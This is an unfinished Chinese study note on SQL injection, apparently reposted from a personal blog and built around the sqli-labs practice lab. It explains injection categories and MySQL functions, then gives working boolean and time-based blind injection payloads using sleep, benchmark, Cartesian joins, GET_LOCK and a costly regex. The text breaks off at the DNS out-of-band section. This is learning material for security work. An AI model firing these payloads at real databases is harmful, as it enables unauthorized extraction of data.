SQLI总结(未完成)
作者:互联网
前言
过年在家直播时写的自用总结。
搭建sqli-labs
用phpstudy_pro,略。
基础知识
分类
基于输入数据类型 | 基于从服务器收到的响应 | 基于注入的次序 | 基于注入位置 |
---|---|---|---|
字符型 | 报错注入 | 一次注入 | 表单 |
数字型 | 联合查询 | 二次注入 | HTTP头部 |
布尔/时间盲注 | |||
堆查询 |
函数和关键字
#系统函数
@@datadir() //数据库路径
@@version_compile_os() //操作系统版本
# 字符串拼接
concat(str1,str2) //没有分隔符地连接字符串
group_concat() //以逗号为分隔符连接一个组的字符串
concat_ws(',',str1,str2) //有分隔符连接字符串,第一个参数是分隔符
# union
把两个搜索出来的表格上下拼接到一起,要注意列数、同一列的类型要相同。
# order by
order by x:对结果集按照第x列进行排序
order by 1,2,3,4 对结果集按照1,2,3,4列进行排序
information_schema
首先它是一个数据库,它提供访问数据库元数据的方式,通俗来说就是存储其他数据库名、表名、数据类型等字段。
盲注
布尔盲注
本质就是,通过判断回显来爆数据,下面记录一些会用到的函数,脚本在pycharm上。
字符串截断
left(select(database()),1) //从左开始截取1个字符
substr(select(database()),1,1) //从第1个字符开始,截取1个字符
mid(a,b,c) //同substr
条件判断
# 逻辑分支
1=(if((user() regexp '^root'),1,0)); //如果表达式1正确,返回表达式2,否则返回表达式3
case when xxx then xxx //呃呃,本质上同上
# 使用正则
select user() regexp '^ro'; //正确返回1,错误返回0
select user() like 'ro%'; //正确返回1,错误返回0
字符转ascii码
ascii() //将字符串第一个字符转成ascii码
ord() //将字符转ascii码
时间盲注
通过延时函数的延时来判断逻辑为真还是为假,那关键还是怎么构造延时,有下面5种方法:
-
sleep,参数是延时秒数
# 直接延时5s select sleep(5); # payload:如果数据库第一个字符ascii大于115就延时,否则什么都不做 If(ascii(substr(database(),1,1))>115,sleep(5),1)%23
-
benchmark,第一个参数是执行函数的次数,第二个参数是要执行的函数
# 执行sha(1)函数10000000次,以此延时,大概4.多秒 select benchmark(10000000,sha(1)); # payload实例 UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;
-
笛卡尔积,说白了就是两个表排列组合,表A有3行,表B有4行,那笛卡尔积拼出来的表就12行(3x4)
# 计算information_schema.columns这个表平方以后的行数(再有个C的话就是三次方) SELECT count(*) FROM information_schema.columns A, information_schema.columns B; # 这个不好用,时间要么太长要么太短,不好控制
-
GET_LOCK(key, timeout)
首先搞清楚这个函数干什么的,GET_LOCK用来给表加锁,防止多个线程同时操作一个表,有临界资源内味;
它的第一个参数指定要加锁的表,第二个参数设置当加锁失败时,停止等待的时间;要解锁的话用release_lock('key')
下面是测试,首先给users表加锁:
然后再开个terminal,尝试再加锁,结果失败并等待5s:
解锁
payload:
# 1、先给表加锁 select * from ctf where flag = 1 and get_lock('username',1); # 2、再加锁失败,形成延时 select * from ctf where flag = 1 and 1 and get_lock('username',5)
注意:
- 这个利用方式延时依赖于前一条语句执行,mysql中要求站点是使用
mysql_pconnect
创造的持久链接
- 这个利用方式延时依赖于前一条语句执行,mysql中要求站点是使用
-
正则
使用长字符串+计算量大的正则来拖慢系统达到延时目的。
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
DNS外带(OOB)
面试的时候HR喜欢问,挺简单一东西,乌鱼子,真下头捏(bushi)
通俗来讲就是,盲注一个一个字符来爆在实际渗透过程中容易被ban(想起自己HVV的时候扫描器一开ip就被ban辽
标签:总结,username,延时,count,SQLI,报错,concat,完成,select 来源: https://www.cnblogs.com/sketchpl4ne/p/15863609.html